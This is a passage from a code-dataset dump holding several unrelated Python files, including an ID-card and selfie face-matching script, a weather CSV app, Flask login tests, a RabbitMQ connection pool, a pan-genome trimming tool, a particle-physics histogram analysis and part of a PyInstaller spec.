corr_ans, stu_ans))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Median/src/TestMedian.py","file_name":"TestMedian.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"5053629","text":"import cv2\ntry:\n\tfrom experiments.face_recognition import api\nexcept:\n\timport api\n#import matplotlib.pyplot as plt\nfrom PIL import Image\nimport numpy as np\n#import pymongo\nimport time\nimport base64\nimport io\nfrom imageio import imread\n\n#myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n#db = myclient[\"camera01_roi\"]\n#collection = db[\"auth_faces\"]\n\nimport math\n\ndef face_distance_to_conf(face_distance, face_match_threshold=0.6):\n if face_distance > face_match_threshold:\n range = (1.0 - face_match_threshold)\n linear_val = (1.0 - face_distance) / (range * 2.0)\n return linear_val\n else:\n range = face_match_threshold\n linear_val = 1.0 - (face_distance / (range * 2.0))\n return linear_val + ((1.0 - linear_val) * math.pow((linear_val - 0.5) * 2, 0.2))\n\n# cap = cv2.VideoCapture(0)\n\ndef extract_features(frame, name):\n\tlandmarks = api.face_encodings(frame)[0]\n\tcollection.insert_one({name : landmarks.tolist()})\n\treturn landmarks\n\ndef main():\n\twhile cap.isOpened():\n\t\t# try:\n\t\tret,frame = cap.read()\n\t\tlocs = api.face_locations(frame)\n\t\tif locs:\n\t\t\tfor each in locs:\n\t\t\t\ttop, right, bottom, left = locs[0]\n\t\t\t\tface_image = frame[top:bottom, left:right]\n\n\t\t\tif cv2.waitKey(10) & 0xFF == ord('s'):\n\t\t\t\tname = input(\"Name: \\n\")\n\t\t\t\tlnd = extract_features(face_image, name)\n\n\t\t\tif cv2.waitKey(10) & 0xFF == ord('p'):\n\t\t\t\tres = match_features(face_image)\n\t\t\t\tprint(res)\n\t\t\t\t# quit()\n\t\telse:\n\t\t\tface_image = frame\n\t\tcv2.imshow(\"frame\", face_image)\n\t\tif cv2.waitKey(10) & 0xFF == ord('q'):\n\t\t\tquit()\n\tcap.release()\n\tcv2.destroyAllWindows()\n\n# main()\n\ndef isFaceCheck(frame, fileName):\n\ttry:\n\t\tlocs = api.face_locations(frame)\n\t\tlandmarks = api.face_encodings(frame, num_jitters=50, model=\"large\")[0]\n\t\tnp.save(\"face_data/{}.npy\".format(fileName), landmarks)\n\t\treturn True\n\texcept:\n\t\treturn False\n\ndef isSelfieCheck(frame):\n\ttry:\n\t\tlocs = api.face_locations(frame)\n\t\tlandmarks = api.face_encodings(frame, num_jitters=50, model=\"large\")[0]\n\t\tnp.save(\"face_data/selfie.npy\", landmarks)\n\t\treturn True\n\texcept Exception as e:\n\t\tprint(e)\n\t\treturn False\t\n\ndef isFace(frame):\n\tlocs = api.face_locations(frame)\n\tif locs:\n\t\ttop, right, bottom, left = locs[0]\n\t\tface_image = frame[top:bottom, left:right]\n\t\t# cv2.imshow(\"face\", face_image)\n\t\t# cv2.waitKey(0)\n\t\tretval, buffer = cv2.imencode('.jpg', face_image)\n\t\timg = base64.b64encode(buffer)\n\t\treturn img\n\t\t# print(img)\n\ndef imgConversion(baseString):\n\tim_bytes = base64.b64decode(baseString) # im_bytes is a binary image\n\tim_file = io.BytesIO(im_bytes) # convert image to file-like object\n\timg = Image.open(im_file) # img is now PIL Image object\n\topen_cv_image = np.array(img) \n\t# Convert RGB to BGR \n\topen_cv_image = open_cv_image[:, :, ::-1].copy()\n\t\n\treturn open_cv_image\n\ndef saveUserTodb(frame, name):\n\tlandmarks = api.face_encodings(frame)[0]\n\tcollection.insert_one({name : landmarks.tolist()})\n\treturn True\n\n\ndef match_features(frame):\n\tlandmarks = api.face_encodings(frame)[0]\n\tdata = list(collection.find({}, {\"_id\" : 0}))\n\tfor each in data:\n\t\tfor key, val in each.items():\n\t\t\tval = np.array(val)\n\t\t\tres = api.compare_faces([val], landmarks)\n\t\t\tif res[0]:\n\t\t\t\treturn key\n\treturn \"\"\n\n\ndef face_percentage(ref, unk):\n\tres = api.face_distance([ref], unk)[0]\n\treturn res\n\ndef evaluation(casenicf, casenicb, casevideo, caseselfie):\n\tprint(\"Evaluating...\")\n\tresults = {\"nic-nic\" : None, \"nic-video\" : [], \"nicF-selfie\" : None, \"nicB-selfie\" : None}\n\tif casenicf == \"true\":\n\t\tnicF = np.load(\"face_data/nicfront.npy\")\n\tif casenicb == \"true\":\n\t\tnicB = np.load(\"face_data/nicback.npy\")\n\tif (casenicf == \"true\") and (casenicb == \"true\"):\n\t\tresults[\"nic-nic\"] = face_percentage(nicF, nicB)\n\tcap = cv2.VideoCapture(\"face_data/video.mp4\")\n\tselfie = np.load(\"face_data/selfie.npy\")\n\t\n\tif (casenicf == \"true\") and (caseselfie == \"true\"):\n\t\tresults[\"nicF-selfie\"] = face_percentage(nicF, selfie)\n\tif (casenicb == \"true\") and (caseselfie == \"true\"):\n\t\tresults[\"nicB-selfie\"] = face_percentage(nicB, selfie)\n\tframes = 0\n\tif (casevideo == \"true\") and (casenicf == \"true\"):\n\t\twhile cap.isOpened():\n\t\t\ttry:\n\t\t\t\tret,frame = cap.read()\n\t\t\t\t_ = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\t\t\t\tif cv2.waitKey(10) & 0xFF == ord('q'):\n\t\t\t\t\tquit()\n\t\t\t\ttry:\n\t\t\t\t\tif frames % 4 == 0:\n\t\t\t\t\t\tifFace = api.face_encodings(frame, num_jitters=50, model=\"large\")[0]\n\t\t\t\t\t\tperc = face_percentage(nicF, ifFace)\n\t\t\t\t\t\tresults[\"nic-video\"].append(perc)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tpass\n\t\t\t\t\n\t\t\texcept Exception as e:\n\t\t\t\tpass\n\t\t\t\tcap.release()\n\t\t\t\tcv2.destroyAllWindows()\n\t\t\t\t# pass\n\t\t\tframes += 1\n\t\t\t\n\t\t\t\t\n\t\tcap.release()\n\t\tcv2.destroyAllWindows()\n\t\tresults[\"nic-video\"] = sum(results[\"nic-video\"]) / len(results[\"nic-video\"])\n\n\tif isinstance(results[\"nic-video\"], list):\n\t\tresults[\"nic-video\"] = None\n\tempty_data_keys = []\n\tfor key in results.keys():\n\t\t# print(key, results[key])\n\t\tif (results[key] != None):\n\t\t\t# print(key)\n\t\t\tresults[key] = round(face_distance_to_conf(results[key]) * 100)\n\t\telse:\n\t\t\tempty_data_keys.append(key)\n\tprint(results, empty_data_keys)\n\tfor each in empty_data_keys:\n\t\tdel results[each]\n\tprint(\"Evaluation Completed.\", results)\n\treturn results\n\n# print(evaluation())\n\"ISR\"\n\n\n\ndef testingAcc(img1, img2):\n\timg1 = cv2.imread(img1)\n\timg2 = cv2.imread(img2)\n\timg1 = api.face_encodings(img1, num_jitters=50, model=\"large\")[0]\n\timg2 = api.face_encodings(img2, num_jitters=50, model=\"large\")[0]\n\tres = api.face_distance([img1], img2)[0]\n\tprint(res)\n\tprint(\"Perc: \", face_distance_to_conf(res))\n\n# testingAcc(\"frontCNIC.jpg\", \"mus1.jpg\")\n\n\n","sub_path":"server/detectLive.py","file_name":"detectLive.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"227777788","text":"import csv\r\n\r\ndef printMenu():\r\n print(\"ACME WEATHER DATA APP\")\r\n print(\"1) Choose weather data file\")\r\n print(\"2) See data for selected day\")\r\n print(\"3) Calculate average statistics for the data\")\r\n print(\"4) Print a scatterplot of the average temperatures\")\r\n print(\"0) Quit program\")\r\n\r\n \r\ndef chooseFile():\r\n try:\r\n filename = input('Give name of the file: ')\r\n if filename == \"helsinki.csv\" or filename == \"turku.csv\" or filename == \"tampere.csv\":\r\n print(\"Loaded weather data from \" + filename[:-4].capitalize())\r\n print(\" \")\r\n return filename\r\n else:\r\n return \"Wrong name\"\r\n except ValueError:\r\n \"Wrong name\"\r\n\r\ndef chooseOption():\r\n try:\r\n option = int(input('Choose what to do: '))\r\n if 0 <= option <= 4:\r\n return option\r\n else:\r\n return \"Wrong option\"\r\n except ValueError:\r\n return \"Wrong option\"\r\n \r\n\r\ndef function2_dataForSelectedDay(filename):\r\n filename = open(filename, \"r\")\r\n givenDate = input(\"Give a date (dd.mm): \")\r\n splittedDayMonth = givenDate.split('.')\r\n DayMonthProgramFormat = \"2019-\",splittedDayMonth[1],\"-\",splittedDayMonth[0]\r\n listToStr = ''.join([str(elem) for elem in DayMonthProgramFormat])\r\n listToStr2 = '\"' + listToStr + '\"'\r\n \r\n for row2 in filename: \r\n rowData2 = row2.split(';')\r\n if listToStr2 == rowData2[0]:\r\n print(\"The weather on\", givenDate, \"was on average\",rowData2[2] ,\"centigrade\")\r\n print(\"The lowest temperature was\", rowData2[3], \"and the highest temperature was\", rowData2[4])\r\n print(\"There was\", rowData2[1], \"mm rain\" )\r\n print(\" \") \r\n\r\ndef function3_average(filename):\r\n filename = open(filename, \"r\")\r\n elementoflist = '\"' + \"DateTime\" + '\"' \r\n total1 = 0\r\n total2 = 0\r\n total3 = 0\r\n countROWS = 0\r\n \r\n \r\n for row2 in filename: \r\n rowData2 = row2.split(';')\r\n if elementoflist != rowData2[0]: \r\n countROWS += 1\r\n \r\n #3.1 THE AVERAGE TEMPERATURE FOR THE 25 DAY PERIOD:\r\n meanTemperatures = rowData2[2] \r\n meanTemperaturesSTRINGtoINT = float(rowData2[2]) \r\n \r\n total1 = total1 + meanTemperaturesSTRINGtoINT \r\n total1AVERAGEmeantemp = round(total1/countROWS,1)\r\n\r\n #3.2 THE AVERAGE LOWEST TEMPERATURE FOR THE 25 DAY PERIOD:\r\n meanLOWESTTemperatures = rowData2[3] \r\n meanLOWESTTemperaturesSTRINGtoINT = float(rowData2[3])\r\n \r\n total2 = total2 + meanLOWESTTemperaturesSTRINGtoINT \r\n total1AVERAGElowestmeantemp = round(total2/countROWS,1)\r\n\r\n #3.3 THE AVERAGE HIGHEST TEMPERATURE FOR THE 25 DAY PERIOD:\r\n meanHIGHESTTemperatures = rowData2[4] \r\n meanHIGHESTTemperaturesSTRINGtoINT = float(rowData2[4])\r\n \r\n total3 = total3 + meanHIGHESTTemperaturesSTRINGtoINT \r\n total1AVERAGEhighestmeantemp = round(total3/countROWS,1)\r\n\r\n\r\n print(\"The average temperature for the 25 day period was\", round(total1/countROWS,1))\r\n print(\"The average lowest temperature was\", round(total2/countROWS,1))\r\n print(\"The average highest temperature was\", round(total3/countROWS,1))\r\n print(\" \")\r\n \r\ndef function4_scatterplot(filename):\r\n filename = open(filename, \"r\")\r\n day = 5\r\n month = 10\r\n elementoflist = '\"' + \"DateTime\" + '\"' \r\n\r\n for row2 in filename:\r\n rowData2 = row2.split(';')\r\n\r\n if elementoflist != rowData2[0]: \r\n day += 1\r\n meanTemperatures = rowData2[2] \r\n meanTemperaturesSTRINGtoINT = float(rowData2[2])\r\n roundedMeanTemperaturesSTRINGtoINT = int(round(meanTemperaturesSTRINGtoINT, 0)) \r\n \r\n print(\"{:02d}\".format(day) + \".\" + str(month), end=\"\")\r\n print(' '.ljust(roundedMeanTemperaturesSTRINGtoINT*3+15),\"-\")\r\n \r\n print(\" \", end=\"\")\r\n for i in range(-5,16):\r\n print(\"{:02d} \".format(i), end=\"\")\r\n print(\" \") \r\n print(\" \")\r\n\r\ndef main():\r\n filename = None\r\n \r\n while True:\r\n printMenu()\r\n option = chooseOption()\r\n\r\n if option == \"Wrong option\":\r\n print (\"Wrong option. Choose 0-4\")\r\n continue\r\n \r\n if option == 0:\r\n break\r\n \r\n if option == 1:\r\n filename = chooseFile()\r\n\r\n if filename == \"Wrong name\":\r\n print (\"Wrong name\")\r\n continue\r\n \r\n if filename is not None:\r\n if option == 2:\r\n function2_dataForSelectedDay(filename) \r\n\r\n elif option == 3:\r\n function3_average(filename)\r\n\r\n elif option == 4:\r\n function4_scatterplot(filename)\r\n \r\n else:\r\n print(\"Error: No file selected\")\r\n continue\r\n \r\n \r\n\r\nif __name__ == \"__main__\": \r\n main()\r\n \r\n","sub_path":"Weather app.py","file_name":"Weather app.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"308711810","text":"import server\n\n\nclass TestLogin:\n\n # modification du contenu des variables\n server.competitions = [\n {\n \"name\": \"Spring Festival\",\n \"date\": \"2020-03-27 10:00:00\",\n \"numberOfPlaces\": \"5\"\n },\n {\n \"name\": \"Fall Classic\",\n \"date\": \"2020-10-22 13:30:00\",\n \"numberOfPlaces\": \"3\"\n }\n ]\n\n server.clubs = [\n {\n \"name\":\"Test\",\n \"email\":\"test@test.co\",\n \"points\":\"13\"\n }] \n\n\n # vérifier connexion avec email invalide\n def test_incorrect_login(self, client):\n \n rv = client.post('/showSummary', data=dict(\n email= \"to@trt.fr\"))\n assert rv.status_code == 302\n \n # vérifier connexion avec email valide \n def test_correct_login(self, client):\n \n rv = client.post('/showSummary', data=dict(\n email=\"test@test.co\"))\n assert rv.status_code == 200\n\n\n","sub_path":"tests/tests_unitaire/___init__.py","file_name":"___init__.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"319949221","text":"# encoding: utf-8\nimport asyncio\nfrom dataclasses import dataclass\n\nfrom aio_pika import connect_robust, Channel, pool, Message, DeliveryMode\n\n\n@dataclass\nclass RabbitMqPool:\n _url: str = None\n _max_size: int = None\n _connection_pool: pool.Pool = None\n _channel_pool: pool.Pool = None\n\n async def close(self):\n await self._connection_pool.close()\n await self._channel_pool.close()\n\n def __init__(self, spider_name):\n self.spider_name = spider_name\n self.queue = None\n self.exchange = None\n self.routing_key = None\n\n self.exchange_name = \"spider_exchange\"\n self.queue_name = f\"spider_queue_{self.spider_name}\"\n self.routing_key = f\"spider_rk_{self.spider_name}\"\n self.dlx_exchange_name = \"spider_exchange_dlx\"\n self.dlx_queue_name = f\"spider_queue_{self.spider_name}_dlx\"\n self.dlx_routing_key = f\"spider_rk_{self.spider_name}_dlx\"\n\n async def init(self, url, max_size: int):\n self._url = url\n self._connection_pool = pool.Pool(self._get_connection, max_size=max_size)\n self._channel_pool = pool.Pool(self._get_channel, max_size=max_size)\n await self.declare_delay_queue()\n await self.declare_queue()\n\n @property\n def channel_pool(self):\n return self._channel_pool\n\n async def _get_connection(self):\n return await connect_robust(self._url)\n\n async def _get_channel(self) -> Channel:\n async with self._connection_pool.acquire() as connection:\n return await connection.channel()\n\n async def declare_delay_queue(self):\n async with self._channel_pool.acquire() as channel:\n dlx_exchange = await channel.declare_exchange(name=self.dlx_exchange_name, type='direct', durable=True)\n dlx_queue = await channel.declare_queue(name=self.dlx_queue_name, auto_delete=False, durable=True)\n await dlx_queue.bind(self.dlx_exchange_name, self.dlx_routing_key)\n\n async def declare_queue(self):\n\n self.routing_key = self.routing_key\n async with self._channel_pool.acquire() as channel:\n self.exchange = await channel.declare_exchange(name=self.exchange_name, type='topic', durable=True, arguments={\"x-max-priority\": 20})\n arguments = {\n # 'x-dead-letter-exchange': self.dlx_exchange_name,\n # 'x-dead-letter-routing-key': self.dlx_routing_key,\n \"x-max-priority\": 20,\n }\n self.queue = await channel.declare_queue(name=self.queue_name, durable=True, auto_delete=False, arguments={\"x-max-priority\": 20})\n await self.queue.bind(self.exchange_name, self.routing_key)\n\n async def subscribe(self, timeout: int) -> None:\n declaration_result = await self.queue.declare()\n if declaration_result.message_count > 0:\n message = await self.queue.get(timeout=timeout)\n return message\n else:\n return None\n\n async def publish(self, msg: str, priority: int = 0) -> None:\n await self.exchange.publish(\n Message(\n msg.encode(),\n priority=priority,\n delivery_mode=DeliveryMode.PERSISTENT,\n ),\n routing_key=self.routing_key\n )\n","sub_path":"hoopa/utils/rabbitmq_pool.py","file_name":"rabbitmq_pool.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"618760504","text":"#!/usr/bin/env python\n# Copyright (C) <2020> PMBL;South China Agricultural University. All rights reserved\n__author__ = \"Write by Fangping Li\"\n__version__ = '0.1.0'\n\nimport argparse\nimport sys\nimport os\nimport collections\n\ndef get_options(): \n example = \"bestref.py -i pangenome.fa -hap goin.hapc -g guide.goc -l location.lg -o output \" \n description = \"Create a optimal reference genome based on short reads from pan-genome: \" + example\n parser = argparse.ArgumentParser(description = description,prog = 'bestref.py')\n parser.add_argument('-i', '--inpan', action='store',type=str,help='input your reference .fasta')\n parser.add_argument('-o', '--output', action='store',type=str,\n help='name of the pan-genome coverage output',default=\"output\")\n parser.add_argument('-g', '--gocguide', action='store',type=str,help='input your .goc file generated by mappingtools.py')\n parser.add_argument('-hap', '--hapcguide', action='store',type=str,help='input your .hapc file generated by mappingtools.py')\n return parser.parse_args()\n\ndef seqfileread(file):#readfa\n file = open(file,\"r\")\n lines = list(file.readlines())\n dic={}\n temp = \"\"\n for i in lines:\n if i.startswith(\">\"):\n temp = i.strip()[1:]\n dic[temp] = \"\"\n #print(temp)\n else:\n i = i.strip()\n dic[temp] = dic[temp] + i\n file.close()\n return dic\n\ngosome = get_options()\nseq = gosome.inpan\ngoc = gosome.gocguide\nhap = gosome.hapcguide\n\nseqdic = seqfileread(seq)\n\ngocf = open(goc,\"r\")\ngocl = list(gocf.readlines())\ngocf.close()\n\ndicgoc = {}\nfor i in gocl:\n if i.find(\"Start\") == -1:\n i = i.split()\n dicgoc[i[0].strip()] = []\n if \"more\" in i:\n lc = i.index(\"more\")\n locstart = i[2]\n locend = i[lc-2]\n else:\n locstart = i[2]\n locend = i[5]\n lc = 7 \n\n maplc = i[2:lc-1]\n #print(maplc)\n mapc = 2\n c = 0 \n for k in range(len(maplc)): #build the [[xxx,xxx],[xxx,xxx]] .goc dic\n if mapc%2 == 0:\n #print(mapc)\n loc1 = maplc[mapc-2]\n #print(loc1)\n loc2 = maplc[mapc-1]\n #print(loc1,loc2)\n \n dicgoc[i[0]].append([loc1,loc2])\n \n mapc += 1\n \n \n \nprint(dicgoc)\nhapf = open(hap,\"r\")\nhapl = list(hapf.readlines())\nhapf.close()\ncumlength = 0\ntemp = \"\"\n\nfor i in hapl[1:]:\n i = i.split()\n #dicgoc[i[0]] = []\n\n\n mappc = i[3:-1]\n #print(mappc)\n name = i[0].strip()\n seqname = i[0].split(\"-\")[2]\n if seqname != temp:\n cumlength = 0\n for j in range(len(mappc)):\n if mappc[j] == \"0\":\n print(dicgoc[name])\n #print(name.strip())\n #print(dicgoc[\"1-1-chr10\"])\n \n a = int(dicgoc[name][j][0])-cumlength\n b = int(dicgoc[name][j][1])-cumlength\n seqdic[seqname] = seqdic[seqname][:a] + seqdic[seqname][b:]\n cumlength += b - a\n\n temp = seqname\n \noutputfile = open(gosome.output+\".fasta\",\"w\") \n\nfor i in seqdic.keys():\n print(\">\"+i,file = outputfile)\n print(seqdic[i], file = outputfile) \noutputfile.close() \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"bestref.py","file_name":"bestref.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"412469399","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport os\n\nimport EnvManager\nimport fwhm\nimport hstyle\nimport ROOT\nfrom ROOT import (gPad, gROOT, gStyle, kRed, kBlue, kGray, TArrow,\n TCanvas, TCut, TEllipse,\n TF1, TFile, TGraph, TH1F, TH2F,\n TLatex, TLine,\n TMath, TPad, TTree)\n\n#ext = '.ps'\next = '.pdf'\n\ndraw_line = True\n\ntarget_line = [None, None]\n\ncut_line = []\n\n#_______________________________________________________________________________\ndef draw_cut_line(h, cut):\n ymax = -1e10\n for i, c in enumerate(cut):\n ymax = max(ymax, h.GetBinContent(h.FindBin(c)) +\n h.GetMaximum()*0.00)\n # if len(cut) == 2:\n # ymax = 0\n for i, c in enumerate(cut):\n cut_line.append(TArrow(c, h.GetMaximum()*(0.05 if gPad.GetLogy() else 0.5),\n c, ymax, 0.04, '>'))\n cut_line[-1].Draw()\n\n#_______________________________________________________________________________\ndef draw_target_size(h, size):\n global target_line\n target_line[0] = TArrow(size[0], h.GetMaximum(),\n size[0], 0, 0.02, '')\n target_line[1] = TArrow(size[1], h.GetMaximum(),\n size[1], 0, 0.02, '')\n target_line[0].SetLineStyle(2)\n target_line[1].SetLineStyle(2)\n target_line[0].Draw()\n target_line[1].Draw()\n\n#_______________________________________________________________________________\nif __name__ == '__main__':\n gROOT.SetBatch()\n root_file = 'root/v13/DstXiAna_All.root'\n # root_file = 'root/dc/DstXiAna_All.root'\n f1 = TFile.Open(root_file)\n t1 = f1.Get('xi')\n t1.SetBranchStatus('*', 0)\n t1.SetBranchStatus('nCombi', 1)\n t1.SetBranchStatus('chi2Kp', 1)\n t1.SetBranchStatus('pKp', 1)\n t1.SetBranchStatus('m2Kp', 1)\n t1.SetBranchStatus('resAngle', 1)\n t1.SetBranchStatus('MissMass', 1)\n t1.SetBranchStatus('MissP', 1)\n t1.SetBranchStatus('thetaXi', 1)\n t1.SetBranchStatus('MeanDeXi', 1)\n t1.SetBranchStatus('Ssd2Flag', 1)\n tex = TLatex()\n tex.SetTextFont(132)\n tex.SetTextSize(0.08)\n harray = []\n harray.append(TH1F('h1', 'h1;Missing mass [GeV/#font[12]{c}^{2}];Counts [/5 MeV/#font[12]{c}^{2}]', 160, 1., 1.8))\n harray.append(TH1F('h2', 'h2;Incident angle [deg];Counts [/0.5 deg]', 180, 0., 90.))\n #harray.append(TH1F('h3', 'h3;Squared mass [(GeV/#font[12]{c}^{2})^{2}];Counts [/0.002 (GeV/#font[12]{c}^{2})^{2}]', 250, 0., 0.5))\n harray.append(TH1F('h3', 'h3;Squared mass [(GeV/#font[12]{c}^{2})^{2}];Counts', 250, 0., 0.5))\n harray.append(TH1F('h4', 'h4;Mass [GeV/#font[12]{c}^{2}];Counts [/2 GeV/#font[12]{c}^{2}]', 1000, 0., 1))\n harray.append(TH2F('h5', 'h5;Squared mass [(GeV/#font[12]{c}^{2})^{2}];Momentum [GeV/#font[12]{c}]', 200, 0.02, 0.42, 120, 0.9, 1.5))\n harray.append(TH2F('h6', 'h6;Squared mass [(GeV/#font[12]{c}^{2})^{2}];Momentum [GeV/#font[12]{c}]', 200, 0.02, 0.42, 120, 0.9, 1.5))\n harray.append(TH1F('h7', 'h7;#chi^{2}', 1000, 0., 100))\n harray.append(TH2F('h8', 'h8;Mean #DeltaE SSD1 [arb. unit];Missing momentum [GeV/#font[12]{c}]', 150, 0., 150000., 160, 0., 1.6))\n harray_stop = []\n for h in harray:\n hstop = h.Clone()\n # hstop.SetLineColor(kRed+1)\n harray_stop.append(hstop)\n good_event = 0\n for ievent in range(t1.GetEntries()):\n # if ievent == 10000: break\n t1.GetEntry(ievent)\n is_good_event = False\n for iCombi in range(t1.nCombi):\n if t1.resAngle[iCombi] > 3.: continue\n if t1.pKp[iCombi] < 0.9: continue\n if t1.pKp[iCombi] > 1.5: continue\n # if abs(t1.m2Kp[iCombi]-0.22) > 0.12: continue\n harray[6].Fill(t1.chi2Kp[iCombi])\n if t1.chi2Kp[iCombi] > 30.: continue\n cm2 = t1.m2Kp[iCombi] + 0.020\n harray[0].Fill(t1.MissMass[iCombi])\n harray[1].Fill(t1.thetaXi[iCombi])\n harray[2].Fill(cm2)\n harray[3].Fill(TMath.Sqrt(cm2))\n harray[4].Fill(cm2, t1.pKp[iCombi])\n harray[7].Fill(t1.MeanDeXi[iCombi], t1.MissP[iCombi])\n if t1.Ssd2Flag[iCombi] != 2:\n is_good_event = True\n harray_stop[0].Fill(t1.MissMass[iCombi])\n harray_stop[1].Fill(t1.thetaXi[iCombi])\n harray_stop[2].Fill(cm2)\n harray_stop[3].Fill(TMath.Sqrt(cm2))\n harray_stop[4].Fill(cm2, t1.pKp[iCombi])\n harray_stop[7].Fill(t1.MeanDeXi[iCombi], t1.MissP[iCombi])\n if is_good_event:\n good_event += 1\n print('evnet = {}'.format(good_event))\n c1 = TCanvas()\n # harray[0].Draw()\n harray_stop[0].Draw()\n print('xi track = {}'.format(harray[0].GetEntries()))\n print('xi track (stop) = {}'.format(harray_stop[0].GetEntries()))\n tex.DrawLatexNDC(0.23, 0.83, '(a)')\n c1.Print('fig/dc/xi_missmass' + ext)\n #harray[1].Draw()\n harray_stop[1].Draw()\n c1.Print('fig/dc/xi_theta' + ext)\n harray[2].Draw()\n # harray_stop[2].Draw('same')\n func1 = TF1('func1', 'gaus+pol1(3)')\n func1.SetLineColor(1)\n func1.SetLineWidth(1)\n func1.SetParameter(0, 1000)\n func1.SetParameter(1, 0.24)\n func1.SetParameter(2, 0.03)\n func1.SetParameter(3, 100)\n func1.SetParameter(4, 0)\n #harray[2].Clone().Fit('func1', '', '', 0.04, 0.40)\n harray[2].Fit('func1', '', '', 0.06, 0.42)\n harray[2].GetXaxis().SetRangeUser(0.06, 0.42)\n #harray[2].GetXaxis().SetRangeUser(0.12, 0.36)\n #harray[2].Draw()\n func2 = TF1('func2', 'gaus', 0.06, 0.42, 'VEC')\n func2.SetLineColor(1)\n func2.SetLineWidth(1)\n func2.SetFillColor(kGray)\n func2.SetFillStyle(1001)\n #func2.SetFillStyle(3003)\n for i in range(3):\n func2.SetParameter(i, func1.GetParameter(i))\n func3 = TF1('func3', 'pol1', 0.06, 0.42, 'VEC')\n func3.SetLineColor(1)\n func3.SetLineWidth(1)\n func3.SetFillColor(kGray)\n func3.SetFillStyle(1001)\n #func3.SetFillStyle(3003)\n for i in range(2):\n func3.SetParameter(i, func1.GetParameter(i+3))\n print(func1.Integral(0.14, 0.34),\n func2.Integral(0.14, 0.34),\n func2.Integral(0.14, 0.34)/func1.Integral(0.14, 0.34))\n # func2.Draw('same')\n func3.Draw('same')\n draw_cut_line(harray[2], [0.241-0.038*3, 0.241+0.038*3])\n c1.RedrawAxis()\n c1.Print('fig/dc/xi_m2kp' + ext)\n harray[4].Draw('col')\n c1.Print('fig/dc/xi_m2p' + ext)\n harray[6].Draw()\n c1.Print('fig/dc/xi_chi2' + ext)\n harray_stop[7].GetXaxis().SetRangeUser(0,1.0e5)\n # harray_stop[7].GetXaxis().SetMaxDigits(3);\n # harray_stop[7].GetXaxis().SetNdivisions(505);\n # harray_stop[7].GetXaxis().SetNoExponent()\n harray_stop[7].Draw('col')\n c1.Print('fig/dc/xi_momde' + ext)\n hpy = harray_stop[7].ProjectionY()\n hpy.SetYTitle('Counts [/10 MeV/#font[12]{c}]')\n hpy.Draw()\n tex.DrawLatexNDC(0.23, 0.83, '(b)')\n c1.Print('fig/dc/xi_missmom' + ext)\n print('done')\n","sub_path":"xi_tree.py","file_name":"xi_tree.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"246263429","text":"# -*- mode: python ; coding: utf-8 -*-\n\nblock_cipher = pyi_crypto.PyiBlockCipher(key='Shadow@tbrecord&1125')\n\na = Analysis(\n ['spider_neepshop.py'],\n pathex=[\n 'C:\\\\Users\\\\ShadowMimosa\\\\Documents\\\\Repos\\\\Workoo\\\\now\\\\neepshop'\n ],\n binaries=[],\n datas=[],\n hiddenimports=[\n 'engineio.async_drivers.aiohttp',\n 'engineio.async_aiohttp',\n 'sys',\n 'builtins',\n 'importlib._bootstrap',\n '_imp',\n '_warnings',\n 'importlib._bootstrap_external',\n 'io',\n 'marshal',\n 'nt',\n '_thread',\n '_weakref',\n 'winreg',\n 'time',\n 'zipimport',\n '_codecs',\n 'codecs',\n 'encodings.aliases',\n 'encodings',\n 'encodings.utf_8',\n '_signal',\n '__main__',\n 'encodings.latin_1',\n '_abc',\n 'abc',\n 'io',\n '_stat',\n 'stat',\n 'genericpath',\n 'ntpath',\n 'ntpath',\n 'collections.abc',\n 'os',\n '_sitebuiltins',\n 'site',\n '_operator',\n 'operator',\n 'keyword',\n '_heapq',\n 'heapq',\n 'itertools',\n 'reprlib',\n '_collections',\n 'collections',\n '_functools',\n 'functools',\n 'types',\n 'enum',\n '_sre',\n 'sre_constants',\n 'sre_parse',\n 'sre_compile',\n '_locale',\n 'copyreg',\n 're',\n 'token',\n 'tokenize',\n 'linecache',\n 'traceback',\n 'contextlib',\n 'importlib._bootstrap',\n 'importlib._bootstrap_external',\n 'warnings',\n 'importlib',\n 'ptvsd._vendored._util',\n 'ptvsd._vendored',\n '_pydevd_bundle',\n '__future__',\n 'platform',\n '_pydevd_bundle.pydevd_vm_type',\n '_pydev_imps',\n '_weakrefset',\n 'threading',\n '_socket',\n 'collections.abc',\n 'math',\n 'select',\n 'selectors',\n 'errno',\n 'socket',\n '_queue',\n 'queue',\n 'xmlrpc',\n '_struct',\n 'struct',\n 'binascii',\n 'base64',\n '_datetime',\n 'datetime',\n 'numbers',\n 'decimal',\n 'decimal',\n 'http',\n 'email',\n 'email.errors',\n '_string',\n 'string',\n 'email.quoprimime',\n 'email.base64mime',\n 'quopri',\n 'email.encoders',\n 'email.charset',\n 'email.header',\n '_bisect',\n 'bisect',\n '_sha512',\n '_random',\n 'random',\n 'urllib',\n 'urllib.parse',\n 'locale',\n 'calendar',\n 'email._parseaddr',\n 'email.utils',\n 'email._policybase',\n 'email.feedparser',\n 'email.parser',\n 'uu',\n 'email._encoded_words',\n 'email.iterators',\n 'email.message',\n '_ssl',\n 'ssl',\n 'http.client',\n 'xml',\n 'xml.parsers',\n 'pyexpat.errors',\n 'pyexpat.model',\n 'pyexpat',\n 'pyexpat.model',\n 